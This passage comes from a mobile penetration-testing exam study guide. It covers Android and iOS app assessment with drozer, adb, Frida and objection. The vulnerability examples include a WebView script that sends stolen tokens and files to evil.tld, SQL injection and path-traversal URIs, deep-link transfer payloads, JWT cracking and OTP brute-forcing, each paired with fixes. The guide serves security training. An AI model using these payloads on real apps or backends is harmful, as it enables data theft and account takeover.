drozer console connect
# enumerate the app's attack surface:
run app.package.attacksurface com.pkg
run app.package.manifest com.pkg
# activities
run app.activity.info -a com.pkg
run app.activity.start --component com.pkg com.pkg.AdminActivity
# content providers (auto-finds exported providers, tests SQLi & traversal)
run app.provider.info -a com.pkg
run app.provider.finduri com.pkg
run app.provider.query content://com.pkg.data/users
run scanner.provider.injection -a com.pkg        # automated SQLi
run scanner.provider.traversal -a com.pkg        # automated path traversal
# services & broadcasts
run app.service.info -a com.pkg
run app.broadcast.info -a com.pkg
run app.broadcast.send --component com.pkg com.pkg.CmdReceiver --extra string cmd reset

Other automation worth knowing:

  • MobSF (static+dynamic) — the fastest first pass; parses manifest, flags hardcoded secrets/insecure API usage, can run dynamic analysis and capture traffic. Use it to triage, then verify manually (the exam wants your understanding, not a MobSF PDF).

  • apkleaks / trufflehog — regex secret-hunting across the decompiled app.

  • nuclei (with mobile/API templates) and ffuf — endpoint discovery/fuzzing against the authorized backend once you have the API map.

  • objection explore + --startup-command — script repeatable runtime setups (pinning off + root off + your hook) so each test run is one command.

Where automation fits: use it to enumerate the surface fast and catch the obvious, then do targeted manual analysis and validation. Automated findings still need you to reproduce them, determine real impact, and write the fix — which is exactly what's graded.


33. Detailed Vulnerability Examples (code → command → exploit → fix)

Concrete, reproducible examples. Each shows the vulnerable code, the detection command, the exploitation with real payloads, the impact, and the fix. Practice these against the labs in §23.

27.1 Exported Activity → Authentication Bypass (Android)

Vulnerable manifest:

<activity android:name=".DashboardActivity" android:exported="true"/>

DashboardActivity.onCreate() assumes the user already logged in — it never re-checks a session. Detect:

aapt dump badging app.apk | grep -i activity
apktool d app.apk -o out ; grep -A2 "DashboardActivity" out/AndroidManifest.xml

Exploit (launch it directly, skipping login):

adb shell am start -n com.pkg/.DashboardActivity
# dashboard opens with full account data — no credentials entered

Impact: M3/M8 — full post-auth functionality reachable by any installed app. Fix: exported="false", and verify an authenticated session inside the activity.

27.2 Content Provider SQL Injection / Data Leak (Android)

Vulnerable code:

public Cursor query(Uri uri, String[] proj, String sel, String[] args, String sort){
  SQLiteDatabase db = helper.getReadableDatabase();
  return db.rawQuery("SELECT * FROM users WHERE name='" + sel + "'", null); // sel is attacker-controlled
}

Manifest: <provider android:authorities="com.pkg.data" android:exported="true"/> Detect & exploit:

adb shell content query --uri content://com.pkg.data/users
# SQLi via the selection:
adb shell content query --uri content://com.pkg.data/users --where "1=1) UNION SELECT password FROM users--"

Impact: M4 — read/modify arbitrary rows (credentials, PII). Fix: exported="false" (or signature permission), parameterized queries (selectionArgs), path-permission restrictions.

27.3 Hardcoded Secret → Backend Abuse (Android/iOS)

Vulnerable code (decompiled):

String AWS_KEY = "AKIA...EXAMPLE";
String API_BASE = "https://api.internal.target.tld/v2";

Detect:

jadx -d out app.apk
grep -rInE "AKIA|api[_-]?key|secret|bearer|https?://" out/ | grep -v test
strings -a out/resources/assets/* 2>/dev/null | grep -iE "key|token"

Exploit: use the extracted key/endpoint directly (curl -H "Authorization: Bearer <key>" https://api.internal.target.tld/v2/...) — authorized testing only. Impact: M1/M10 — direct third-party/backend abuse; decrypts "encrypted" local data if the key is a crypto key. Fix: no static secrets in the client; broker via the backend with short-lived, scoped tokens.

27.4 Insecure Local Storage (Android)

Vulnerable code:

getSharedPreferences("auth", MODE_PRIVATE).edit()
   .putString("session_token", token).putString("pin","1337").apply();  // cleartext

Detect & extract (no root needed if allowBackup=true):

adb backup -noapk com.pkg -f b.ab
dd if=b.ab bs=1 skip=24 | zlib-flate -uncompress > b.tar ; tar xf b.tar   # unpack
cat apps/com.pkg/sp/auth.xml        # session_token + pin in cleartext
# with root:
adb shell run-as com.pkg cat /data/data/com.pkg/shared_prefs/auth.xml

Impact: M9 — stolen/shared device → account takeover. Fix: EncryptedSharedPreferences (Keystore-backed), allowBackup=false, don't store a PIN at all.

27.5 Exported Broadcast Receiver Abuse (Android)

Vulnerable: <receiver android:name=".CmdReceiver" android:exported="true"/> that acts on an extra (intent.getStringExtra("cmd")) e.g. wipes or resets state. Exploit:

adb shell am broadcast -a com.pkg.ADMIN_CMD --es cmd "reset_password" --es user "victim"

Impact: M8 — any app triggers privileged logic. Fix: not exported, or require a signature permission; validate caller.

Vulnerable manifest: a transfer deep link with no re-auth.

<activity android:name=".TransferActivity"><intent-filter><data android:scheme="bank" android:host="transfer"/></intent-filter></activity>

Exploit:

adb shell am start -a android.intent.action.VIEW -d "bank://transfer?to=attacker&amount=5000"

Impact: M3/M8 — attacker-crafted link (in a web page/another app) performs a transfer. Fix: authenticate & confirm server-side; validate/allow-list parameters; verified App Links.

27.7 WebView JS-Bridge → Data Theft / RCE-in-app (Android)

Vulnerable code:

wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Bridge(), "NativeBridge");   // Bridge.getToken(), Bridge.readFile(path)
wv.loadUrl(getIntent().getStringExtra("url"));             // attacker-controllable URL

Exploit (host this page, open via the deep link ...?url=https://evil.tld/x.html):

<script>
  var t = NativeBridge.getToken();
  var f = NativeBridge.readFile("/data/data/com.pkg/shared_prefs/auth.xml");
  new Image().src = "https://evil.tld/x?t="+encodeURIComponent(t)+"&f="+btoa(f);
</script>

Impact: M4/M7 — exfiltrate tokens/files; reach native functionality from web content. Fix: don't bridge sensitive methods; load only trusted first-party URLs; minimal @JavascriptInterface; disable file access.

27.8 SSL Pinning Bypass → See the API (Android/iOS)

# Android
objection -g com.pkg explore -s "android sslpinning disable"
# or Frida universal script:  frida -U -f com.pkg -l frida-multiple-unpinning.js --no-pause
# iOS
objection -g <bundle> explore -s "ios sslpinning disable"
# then set the device Wi-Fi proxy to Burp -> traffic now visible

Point: this reveals the API for testing; it is not itself a server vuln. Impact of the real findings behind it: depends on the API (BOLA/JWT/etc.). Fix (transport): TLS1.2+, no ATS/cleartext exceptions, pin a public key (defense-in-depth only).

27.9 Root/Jailbreak Detection Bypass (Android/iOS)

Vulnerable pattern (client-only gate): app exits if isRooted()/isJailbroken() — but offers premium features with no server check.

objection -g com.pkg explore -s "android root disable"
objection -g <bundle> explore -s "ios jailbreak disable"
# or hook: Java.use('com.pkg.Sec').isRooted.implementation = function(){ return false; };

Impact: informational unless bypassing it unlocks real impact (e.g., client-side "isPremium" → paid features free because the backend never validates = M3 broken authorization).

27.10 BOLA / IDOR (Mobile API)

Vulnerable request (captured via §27.8):

GET /api/v1/users/1001/wallet HTTP/1.1
Authorization: Bearer <your-token>

Exploit: change the object ID to another user's:

GET /api/v1/users/1002/wallet HTTP/1.1      -> returns user 1002's balance & cards

Impact: M3 — mass data exposure. Fix: server checks the token's owner == requested object owner on every access.

27.11 BFLA / Mass Assignment (Mobile API)

BFLA — call an admin function as a normal user:

POST /api/v1/admin/users/1002/delete HTTP/1.1   (normal user's token)  -> 200 OK (should be 403)

Mass assignment — send an extra field the UI never shows:

PATCH /api/v1/users/1001 HTTP/1.1
{"displayName":"x","role":"admin","isVerified":true}   -> privilege escalation

Impact: M3 — role/function escalation. Fix: enforce function-level authz server-side; allow-list writable fields.

27.12 JWT Weaknesses (Mobile API)

Captured token: eyJhbGciOiJIUzI1NiIs.... Decode & attack:

echo "<payload-b64>" | base64 -d        # {"sub":"1001","role":"user"}
# 1) alg:none — strip signature, set {"alg":"none"}, change role to admin
# 2) weak HMAC secret — crack it:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
#    then re-sign a forged {"role":"admin"} token with the cracked secret

Send the forged token; if the server accepts it → broken auth. Impact: M3 — account takeover / privilege escalation. Fix: verify signature, strong secret/asymmetric keys, reject none, enforce exp, don't trust client claims for authz.

27.13 iOS NSUserDefaults / Keychain Leaks

objection -g <bundle> explore
ios nsuserdefaults get        # -> authToken = "eyJ..."   (cleartext — M9)
ios keychain dump             # -> password with accessible=kSecAttrAccessibleAlways (weak — M9)
ios plist cat Library/Preferences/<bundle>.plist

Impact: M9 — credential theft on a lost/jailbroken device. Fix: Keychain with ...WhenUnlockedThisDeviceOnly; never store secrets in NSUserDefaults.

27.14 iOS URL Scheme → Unauthorized Action

Vulnerable Info.plist: registers bank://; handler performs a transfer from the parameters.

xcrun simctl openurl booted "bank://transfer?to=attacker&amount=9999"
# on device: open the link from Notes/Safari

Impact: M3/M8 — crafted link triggers a sensitive action. Fix: authenticate/confirm server-side; validate input; prefer Universal Links with a correct AASA.

27.15 Insecure Logging of Sensitive Data (Android)

Vulnerable: Log.d("auth","token="+token+" pin="+pin); ships in a release build. Detect & exploit:

adb logcat | grep -iE "token|pin|password|authorization"
grep -rIn "Log\.\(d\|v\|i\|e\)" out/ | grep -iE "token|pass|pin|secret"

Impact: M9 — any app with READ_LOGS (or a shared device / bug report) harvests secrets. Fix: strip logs in release (ProGuard assumenosideeffects); never log secrets.

27.16 Trust-All / Broken TLS Validation (Android)

Vulnerable: a custom TrustManager that accepts every cert, or a WebView onReceivedSslError{ handler.proceed(); }.

public void checkServerTrusted(X509Certificate[] c, String a){}   // accepts anything

Detect:

grep -rInE "checkServerTrusted|ALLOW_ALL_HOSTNAME|TrustManager|onReceivedSslError|proceed\(\)" out/

Exploit: MITM with any cert (no pinning bypass needed). Impact: M5 — full traffic interception/injection. Fix: default platform validation; never override to trust-all.

27.17 Task-Snapshot / Screenshot Data Leak (Android/iOS)

Vulnerable: sensitive screen visible in the app switcher snapshot / screenshots allowed. Detect: background the app on a sensitive screen → inspect the recents snapshot; check for FLAG_SECURE (Android) / backgrounding blur (iOS). Impact: M9/M6 — shoulder-surf / shared-device/backup leak of on-screen data. Fix: getWindow().setFlags(FLAG_SECURE,...) on sensitive activities; obscure the iOS snapshot in applicationDidEnterBackground.

27.18 Clipboard / Pasteboard Exposure

Vulnerable: app copies password/OTP/token to the clipboard; any app can read it. Detect (iOS): objection -g <bundle> explore -s "ios pasteboard monitor". Android: read ClipboardManager in another app. Impact: M6/M9 — cross-app secret theft. Fix: avoid clipboard for secrets; auto-clear; android:sensitive clip (API 33+) / UIPasteboard expiry.

27.19 Insecure Randomness / Predictable Tokens

Vulnerable: new Random(System.currentTimeMillis()) to generate a session/reset token. Detect: grep -rIn "new Random\|Math.random\|currentTimeMillis" out/ near token generation. Impact: M10 — predict/guess tokens → account takeover. Fix: SecureRandom; generate security tokens server-side.

27.20 Backup-Extractable Secrets (Android)

Vulnerable: android:allowBackup="true" + no fullBackupContent exclusions → adb backup exfiltrates the whole sandbox without root (shown in §27.4). Also check auto-backup to Google Drive uploading secrets to the cloud. Fix: allowBackup="false" for sensitive apps, or exclude secret files via backup rules.

27.21 Exported Provider Path Traversal → Arbitrary File Read (Android)

Vulnerable: a FileProvider/openFile that concatenates the URI into a path.

adb shell content read --uri "content://com.pkg.files/..%2f..%2f..%2fdata%2fdata%2fcom.pkg%2fdatabases%2fapp.db" > app.db

Impact: M4 — read any file the app can access. Fix: canonicalize + jail paths; scoped grantUriPermissions.

27.22 Tapjacking / Overlay (Android)

Vulnerable: a sensitive action (grant permission, confirm transfer) with no overlay protection → a malicious app draws over it (SYSTEM_ALERT_WINDOW) to trick taps. Detect: check filterTouchesWhenObscured/setFilterTouchesWhenObscured(true) on sensitive views. Impact: M4 — UI redress → unauthorized actions. Fix: filterTouchesWhenObscured=true; detect obscured touches.

27.23 iOS Pasteboard / Background Screenshot (combined iOS hygiene)

objection -g <bundle> explore
ios pasteboard monitor        # watch for secrets copied
# background the app on a sensitive screen -> check Snapshots in the container for readable data

Fix: blur/obscure on background; keep secrets off the general pasteboard.

27.24 React Native Bundle Secret Extraction (Hybrid)

unzip -j app.apk "assets/index.android.bundle" -d rn/ ; npx js-beautify rn/index.android.bundle > rn/b.js
grep -iE "api[_-]?key|secret|token|https?://" rn/b.js      # endpoints + keys in the JS bundle

Impact: M1 — hardcoded secrets/endpoints trivially recovered. Fix: keep secrets server-side; don't ship them in the JS bundle.


34. Worked Assessment — Android (end to end)

Illustrative flow against a deliberately-vulnerable app (e.g., InsecureBankv2 / DIVA) in an authorized lab.

1 — Recon & attack surface.

aapt dump badging app.apk ; aapt dump permissions app.apk
apktool d app.apk -o app_apktool ; jadx -d out app.apk

Manifest shows android:debuggable="true", allowBackup="true", an exported PostLoginActivity, a content provider com.pkg.trackuser, and a deep link insecurebank://. Attack surface mapped.

2 — Static analysis. grep finds a hardcoded backend URL and an API key in out/, and crypto using a hardcoded AES key for "encrypted" prefs. Logic shows PostLoginActivity assumes the user is authenticated.

3 — Reach an exported component (auth bypass).

adb shell am start -n com.pkg/.PostLoginActivity      # opens the post-login screen without logging in

Finding: M3/M8 broken authorization via exported activity.

4 — Insecure storage.

adb backup -noapk com.pkg -f b.ab      # allowBackup=true -> no root needed
# extract -> shared_prefs shows the session token + "encrypted" password (key is hardcoded, §2) -> decrypt

Finding: M9 insecure data storage (+ M10 hardcoded key).

5 — Dynamic: bypass a client check & see the API.

objection -g com.pkg explore -s "android sslpinning disable"
# hook the client-side PIN/transfer-limit check with Frida -> force success

Intercept the transfer API in Burp; change the amount/fromAccount; the server accepts it → business-logic / BOLA on the backend.

6 — API authorization.

GET /api/accounts/1001/statement  ->  change to 1002  -> other user's statement (BOLA / M3)

7 — Validate & document. Each finding reproduced with evidence (screenshots, request/response, the decompiled snippet), mapped to MASVS and the Mobile Top 10, with impact and remediation.


35. Worked Assessment — iOS (end to end)

Illustrative flow against a deliberately-vulnerable iOS app (e.g., DVIA-v2 / UnCrackable) on a jailbroken test device.

1 — Recon.

unzip App.ipa -d ipa ; plutil -p ipa/Payload/App.app/Info.plist
#  NSAllowsArbitraryLoads=true (ATS disabled), a custom URL scheme, UIFileSharingEnabled=true
otool -l ipa/Payload/App.app/App | grep -A4 LC_ENCRYPTION_INFO   # cryptid 1 -> must decrypt

2 — Decrypt & static RE.

frida-ios-dump <bundle-id> -o App.dec.ipa
strings -a App | grep -iE "http|key|secret|token"     # hardcoded endpoint + key
class-dump -H App -o headers/                          # find LoginViewController, CryptoHelper
# Ghidra: review validatePin: and the jailbreak-detection routine

3 — Storage & Keychain (jailbroken).

objection -g <bundle-id> explore
ios nsuserdefaults get        # auth token stored in NSUserDefaults (cleartext) -> M9
ios keychain dump             # password in Keychain with kSecAttrAccessibleAlways -> weak accessibility (M9)

4 — Dynamic bypasses & interception.

# in objection: ios jailbreak disable ; ios sslpinning disable
# hook -[LoginViewController validatePin:] -> return YES  (client-side check bypass, M3)

Proxy the traffic; the now-visible API uses a JWT. Decode it → alg:HS256 with a weak secret you crack → forge an admin token (M3/M10).

5 — URL scheme abuse.

xcrun simctl openurl booted "dvia://action/transfer?to=attacker&amount=9999"   # or via Safari on device

If it performs the action without auth/validation → M4/M8.

6 — API authorization. Same BOLA/BFLA tests as Android against the authorized backend.

7 — Validate & document with evidence, MASVS/Top-10 mapping, impact, remediation.


36. Worked Assessment #3 — Hybrid (React Native) App

Illustrative end-to-end flow against an authorized React Native lab app, showing the hybrid-specific angle.

1 — Fingerprint the framework.

unzip -l app.apk | grep -E "index.android.bundle|libreactnativejni|libhermes"
# -> assets/index.android.bundle present => React Native

2 — Static: read the JS bundle (where RN logic/secrets live).

unzip -j app.apk "assets/index.android.bundle" -d rn/
file rn/index.android.bundle                 # 'Hermes' header? -> hbctool/hermes-dec; else beautify
npx js-beautify rn/index.android.bundle > rn/b.js
grep -iE "api[_-]?key|secret|token|https?://|password" rn/b.js
# -> finds API_BASE and a hardcoded 3rd-party API key (M1)

3 — Manifest & native surface. Standard §6/§27 checks still apply (exported components, allowBackup, deep links) — RN apps still have a native shell.

apktool d app.apk -o out ; grep -iE "exported|allowBackup|scheme" out/AndroidManifest.xml
adb shell am start -a android.intent.action.VIEW -d "rnapp://open?url=https://evil.tld"   # deep-link into WebView?

4 — Dynamic & interception. RN uses standard networking, so normal pinning bypass + proxy works:

objection -g com.pkg explore -s "android sslpinning disable"
# set Burp proxy -> capture the API

5 — API testing. With traffic visible, test the backend (the real impact): BOLA (/users/{id} swap), BFLA (admin endpoints), JWT (decode/forge), excessive data exposure in the JSON. Decode the JWT, attempt alg:none/weak-secret crack (§27.12). 6 — Storage. Check RN's AsyncStorage (an unencrypted SQLite/file by default):

adb shell run-as com.pkg cat /data/data/com.pkg/databases/RKStorage    # AsyncStorage -> tokens in cleartext (M9)

7 — Validate & report each finding with evidence, MASVS/Top-10 mapping, impact, and fix. Hybrid lesson: the secrets moved to the JS bundle and AsyncStorage, but the methodology and the high-impact backend findings are the same.



37. iOS Testing Without a Jailbreak (re-signing & Frida gadget)

Jailbreaks aren't always available for the latest iOS. You can still instrument an app by re-signing it with your own developer certificate and embedding the Frida gadget — no jailbreak required (you lose full-device access like Keychain-of-other-apps, but you can hook the target app).

Approach (objection makes it one command):

# needs: your Apple dev cert + provisioning profile, and the (decrypted) IPA
objection patchipa --source App.ipa --codesign-signature <TEAM_ID>
# this injects FridaGadget.dylib and re-signs; then install on a normal device:
ios-deploy --bundle App-patched.ipa    # or Xcode / Sideloadly / AltStore
# connect normally:
objection -g <bundle-id> explore
frida-ps -Uai

What works without JB: hooking the target app's Obj-C/Swift/C functions, SSL-pinning bypass, client-check bypass, dumping the app's own NSUserDefaults/files (via objection), intercepting its traffic. What doesn't: reading other apps' data, the full system Keychain, and anything needing root on the device. Android analogue: objection patchapk injects the Frida gadget into an APK and re-signs it, so you can instrument on a non-rooted device:

objection patchapk -s app.apk        # -> app.objection.apk with embedded gadget
adb install app.objection.apk ; objection -g com.pkg explore

This is important for the exam/real engagements where you can't root/jailbreak the provided device — know both the rooted/JB path and the gadget-injection path. Note: re-signing changes the signature, so apps with integrity/signature checks (§25) may detect it — then you hook the check too, or use a jailbroken device.


38. Burp Suite Mobile Workflow & Semgrep Static Rules

Burp mobile setup (the reliable recipe):

1. Burp > Proxy > Options > add a listener on all interfaces (0.0.0.0:8080).
2. Device Wi-Fi > proxy > <host-ip>:8080.
3. Install Burp's CA on the device:
   - Android emulator: export DER, rename to <subject_hash_old>.0, push to /system/etc/security/cacerts (system store).
   - iOS: browse http://burp, install the profile, then Settings > General > About > Certificate Trust > enable full trust.
4. Defeat pinning if present (objection/Frida, §13/§27.8).
5. Burp Suite extensions for mobile: JWT Editor, Param Miner, GraphQL, Protobuf/gRPC, Autorize (authz testing).

Autorize is gold for mobile APIs: record your high-priv session, then replay every request with a low-priv token to auto-flag BOLA/BFLA (where the low-priv user still gets 200s).

Autorize: set the low-priv Authorization header -> browse as admin -> it shows "Bypassed!" per endpoint that fails authz

Semgrep for mobile static analysis (fast, rule-based source scanning):

# scan decompiled source for insecure patterns
semgrep --config p/mobsf out/              # community mobile rules
semgrep --config p/java --config p/secrets out/
# example custom rule concept: flag addJavascriptInterface + setJavaScriptEnabled, trust-all TrustManager,
#   MODE_WORLD_READABLE, Cipher "AES/ECB", Log.* with "token"/"password"

Semgrep/MobSF/apkleaks give a fast first pass; Burp + manual testing confirm exploitability. The exam rewards the manual confirmation and impact analysis — tools find candidates, you prove findings.


39. Detailed Examples — Batch 3 (storage, auth & logic)

39.1 Android MODE_WORLD_READABLE/WRITABLE (legacy but still seen)

Vulnerable: openFileOutput("cfg", MODE_WORLD_READABLE) → any app reads the file. Detect: grep -rIn "MODE_WORLD_READABLE\|MODE_WORLD_WRITEABLE" out/. Impact: M9 cross-app data exposure. Fix: MODE_PRIVATE; encrypt.

39.2 Insecure Deserialization (Android)

Vulnerable: app deserializes attacker-influenced Serializable/Parcelable from an intent extra or file. Detect: readObject/ObjectInputStream on untrusted data. Exploit: craft a malicious serialized object (gadget) passed via an exported component. Impact: M4 — logic abuse / potential RCE. Fix: avoid Java serialization for untrusted data; use safe formats + validation.

39.3 OTP / 2FA Bypass via API (Mobile backend)

Scenario: the app shows an OTP screen, but the server returns "verified":false and the app decides access client-side, or the OTP endpoint lacks rate limiting.

POST /api/verify-otp   {"user":"1001","otp":"000000"}   -> brute 000000..999999 (no rate limit)
# or hook the client: force the OTP-check callback to success (proves client-side 2FA)

Impact: M3 — 2FA bypass. Fix: enforce OTP verification server-side; rate-limit; lock after N attempts.

39.4 Account Takeover via Password-Reset Logic (Mobile backend)

Scenario: reset token predictable, not bound to the user, or returned in the API response.

POST /api/reset  {"email":"[email protected]"}  -> response leaks the reset token  (or token is sequential)
POST /api/reset/confirm {"token":"<leaked>","new":"Pass123!"}

Impact: M3 — ATO. Fix: random, user-bound, single-use, short-lived tokens; never return them to the client.

39.5 Business-Logic: Price/Quantity Tampering (Mobile backend)

Scenario: the app sends the price/discount; the server trusts it.

POST /api/checkout  {"item":"X","price":0.01,"qty":-5,"coupon":"STACK1,STACK2"}

Impact: M3/business logic — fraud. Fix: server computes price/totals; validate quantities; server-side coupon logic.

39.6 Excessive Data Exposure (Mobile backend)

Scenario: the UI shows a name, but the JSON returns SSN, token, internal flags.

# compare UI fields vs raw API response
GET /api/users/1001   -> {"name":"A","ssn":"...","passwordHash":"...","isAdmin":false}

Impact: M6 — PII/secret leak. Fix: server returns only needed fields (DTO/allow-list), not the whole object.

39.7 Firebase Open Database (Hybrid/cloud)

# endpoint recovered from the app (§31)
curl "https://<project>.firebaseio.com/.json"        # dumps DB if rules allow public read

Impact: M2/M6 — mass data exposure. Fix: lock Firebase security rules to authenticated, ownership-scoped access; enable App Check.

39.8 Flutter Traffic Interception (Hybrid)

reflutter app.apk          # patches the Flutter engine to proxy + disable pinning
# install the patched APK, set Burp proxy -> Flutter traffic now visible -> test the API as usual

Point: Flutter apps look uninspectable but their backend is testable once you route traffic; the impactful findings are server-side.


40. Exam Scenarios & Approach Patterns

The eMAPT presents app scenarios rather than a checklist. Recognize the pattern and apply the right chain quickly.

Scenario: "Here's an APK — assess it."

1. aapt dump badging / permissions -> package, components, perms
2. jadx + apktool -> read manifest (exported? debuggable? allowBackup? deep links?)
3. grep secrets/URLs/crypto -> hardcoded findings
4. Reach exported components (am start/broadcast/content) -> access/auth/SQLi
5. Install, run, objection: pinning off -> intercept API
6. Pull storage (backup/run-as) -> cleartext secrets
7. Test the API (BOLA/BFLA/JWT) -> the high-impact findings
8. RE/native/obfuscation only where logic is hidden
9. Validate each, map MASVS/Top-10, report

Scenario: "Bypass this protection." Identify the control (pinning / root-JB / anti-debug / integrity / license), hook or disable it (objection/Frida), then show what the bypass unlocks — the bypass alone is informational; the impact behind it is the finding.

Scenario: "This app stores something sensitive — find it." Enumerate every storage location (prefs/SQLite/files/Keystore on Android; NSUserDefaults/Keychain/files on iOS), pull and inspect, and check whether "encryption" uses a hardcoded key (then it's not protection).

Scenario: "The backend is the target." Intercept (pinning off), inventory every endpoint, then systematically test auth, BOLA (ID swaps), BFLA (role/function), JWT, mass assignment, excessive data exposure, and business logic. Remember client restrictions aren't authorization — re-test everything the app "won't let you do" directly against the API.

Scenario: "Obfuscated / native / hybrid." Fingerprint first (ProGuard? native .so? RN bundle? Flutter libapp.so? Cordova www/?), then use the matching technique: dynamic string-decrypt hooks (obfuscation), Ghidra+Frida (native), read the JS bundle (RN), reFlutter (Flutter), read www/ (Cordova).

Time management: spend ~40% discovery/attack-surface mapping, ~40% validation/exploitation, ~20% evidence/reporting. Don't rabbit-hole on one obfuscated function when an exported component or a BOLA gives the same impact faster. Keep a running notes file (component list, endpoint list, findings with evidence) so the report writes itself.

Deciding severity: a bypassable client control with no backend impact = informational; a cleartext credential, a working BOLA, a hardcoded backend key, or an auth bypass = high/critical. Always state the concrete impact, not the mere presence of a weakness.


41. Comprehensive Command & Tool Index

A one-stop command reference (authorized testing only).

Android — recon & static:

aapt dump badging app.apk ; aapt dump permissions app.apk       # metadata, perms
apktool d app.apk -o out                                        # decode manifest+smali+res
jadx-gui app.apk ; jadx -d out app.apk                          # decompile to Java
d2j-dex2jar.sh app.apk ; # + JD-GUI                             # alt decompile
unzip -o app.apk -d unz ; strings -a unz/lib/*/*.so             # native strings
grep -rInE "api[_-]?key|secret|token|password|https?://|AKIA" out/   # secrets
semgrep --config p/mobsf out/ ; apkleaks -f app.apk             # automated static

Android — components & dynamic:

adb shell am start -n com.pkg/.Activity [--es key val]          # launch activity
adb shell am startservice -n com.pkg/.Service
adb shell am broadcast -a com.pkg.ACTION --es key val
adb shell content query --uri content://com.pkg.auth/users [--where "..."]
adb shell am start -a android.intent.action.VIEW -d "scheme://host/path?p=v"   # deep link
adb shell run-as com.pkg cat /data/data/com.pkg/shared_prefs/*.xml            # storage (debuggable)
adb pull /data/data/com.pkg ./loot                              # storage (root)
adb backup -noapk com.pkg -f b.ab                               # backup (allowBackup)
adb logcat | grep -iE "token|pass|pin"                          # logs
frida-ps -Uai ; frida -U -f com.pkg -l hook.js --no-pause       # instrument
objection -g com.pkg explore                                    # runtime toolkit
objection patchapk -s app.apk                                   # non-root gadget inject
drozer console connect ; run app.package.attacksurface com.pkg  # attack surface

iOS — recon, static, dynamic:

unzip App.ipa -d ipa ; plutil -p ipa/Payload/App.app/Info.plist
otool -l App | grep -A4 LC_ENCRYPTION_INFO ; codesign -d --entitlements :- App
frida-ios-dump <bundle> -o App.dec.ipa                          # decrypt FairPlay
class-dump -H App -o headers/ ; nm App | swift demangle          # headers/symbols
strings -a App | grep -iE "http|key|secret|token"               # secrets
objection -g <bundle> explore                                   # runtime
#   ios keychain dump | ios nsuserdefaults get | ios cookies get
#   ios sslpinning disable | ios jailbreak disable | ios pasteboard monitor
objection patchipa --source App.ipa --codesign-signature <TEAM> # non-JB gadget
xcrun simctl openurl booted "scheme://host?p=v"                 # URL scheme (sim)

API / network:

# Burp/mitmproxy proxy + CA install (system store on emulator; full-trust profile on iOS)
echo "<jwt-payload-b64>" | base64 -d                             # decode JWT
hashcat -m 16500 jwt.txt rockyou.txt                             # crack HMAC JWT
# BOLA: change object IDs ; BFLA: hit admin endpoints as low-priv ; mass-assign: add role/isAdmin fields
curl "https://<project>.firebaseio.com/.json"                    # Firebase open DB
reflutter app.apk                                               # Flutter proxy/pinning patch

Hybrid fingerprint/extract:

unzip -l app.apk | grep -E "index.android.bundle|libflutter|libapp.so|assets/www|assemblies"
unzip -j app.apk "assets/index.android.bundle" -d rn/ ; npx js-beautify rn/*.bundle > rn/b.js   # React Native
unzip -j app.apk "assets/www/*" -d www/                         # Cordova/Ionic
# Flutter: strings libapp.so ; .NET: dnSpy/ILSpy on assemblies/*.dll

Tool-to-purpose: jadx/apktool/dex2jar (decompile) · jadx+Ghidra/IDA/Hopper (RE) · frida/objection (dynamic) · drozer (components) · MobSF/semgrep/apkleaks (automated static) · Burp/mitmproxy (API) · frida-ios-dump/bagbak/Clutch (iOS decrypt) · class-dump/dsdump (iOS headers) · reflutter (Flutter) · dnSpy (Xamarin) · hashcat (JWT/crypto).


42. 30-Day Plan, Pitfalls & Exam-Day Tips

30-day plan:

Days 1-3    Mobile security fundamentals (§2); MASVS/Top-10 overview
Days 4-7    Android architecture + static analysis (§3,6,7); decompile DIVA/InsecureBankv2
Days 8-10   iOS architecture + static analysis (§4,10,11); DVIA-v2 setup
Days 11-14  Dynamic analysis + instrumentation (§9,12); Frida/Objection basics
Days 15-17  Frida/Objection deep practice; pinning & root/JB bypass (§13)
Days 18-20  API & backend security (§14); BOLA/BFLA, JWT, interception
Days 21-23  Reverse engineering & deobfuscation (§15); jadx/Ghidra/smali; string-decrypt hooks
Days 24-25  Mobile malware analysis (§16) in an isolated lab
Day  26     Threat modeling & methodology (§17)
Day  27     Scenario drills + command/tool review (§40-41)
Day  28     Full Android lab (end to end, §19)
Day  29     Full iOS lab (end to end, §20)
Day  30     End-to-end assessment + final revision

Common mistakes (avoid these):

  • Studying only Android, ignoring iOS. • Memorizing tools without understanding architecture.

  • Confusing static vs dynamic analysis. • Ignoring the backend API. • Treating client-side controls as authorization.

  • Not validating/reproducing a suspected bug. • Ignoring logs/runtime evidence. • Overlooking obfuscated code.

  • Testing without authorization. • Using exam dumps instead of real practice. • Not validating findings.

Exam-day tips: treat it as a real engagement; map the attack surface before going deep; keep organized notes + evidence; when you suspect a finding, reproduce it and determine real impact; think across the whole stack (app, device, API, auth, storage, backend); allocate time across discovery and validation; follow INE's current instructions exactly.

Final checklist: Android arch ✔ iOS arch ✔ APK/IPA static analysis ✔ manifest/plist review ✔ dynamic testing ✔ Frida/Objection ✔ SSL-pinning concepts ✔ API security (BOLA/BFLA) ✔ reverse engineering ✔ deobfuscation ✔ malware analysis ✔ threat modeling ✔ authorized hands-on labs ✔


43. Quick Reference & Glossary

Android command quickstart:

aapt dump badging app.apk ; jadx-gui app.apk ; apktool d app.apk
adb shell am start -n com.pkg/.ExportedActivity        # reach exported component
adb pull /data/data/com.pkg ./loot                      # app sandbox (root)
adb backup -noapk com.pkg -f b.ab                        # backup extraction (allowBackup)
objection -g com.pkg explore                             # runtime toolkit
frida -U -f com.pkg -l hook.js --no-pause                # custom hooks

iOS command quickstart:

unzip App.ipa ; plutil -p Info.plist ; codesign -d --entitlements :- App
otool -l App | grep LC_ENCRYPTION_INFO ; frida-ios-dump <bundle>   # decrypt
class-dump -H App -o headers/ ; strings -a App | grep -i key
objection -g <bundle> explore   # ios keychain dump / nsuserdefaults get / sslpinning disable / jailbreak disable

Glossary:

  • APK / IPA — Android / iOS app package (both ZIP archives).

  • DEX / OAT — Dalvik bytecode / ahead-of-time-compiled native (Android).

  • Mach-O / FairPlay — iOS binary format / App Store binary encryption (must decrypt to analyze).

  • AndroidManifest.xml / Info.plist — the app's component/config manifest per platform.

  • Exported component — Android component reachable by other apps (activity/service/receiver/provider).

  • Keystore / Keychain — hardware-backed secure key/credential stores (Android / iOS).

  • Frida / Objection — dynamic instrumentation engine / its ready-made mobile toolkit.

  • SSL/certificate pinning — client validates the server cert/key; a client-side control, bypassable in testing.

  • Root/Jailbreak detection — client checks for a rooted/JB device; client-side, bypassable.

  • BOLA / BFLA — Broken Object / Function Level Authorization (object-ID IDOR / role-function bypass).

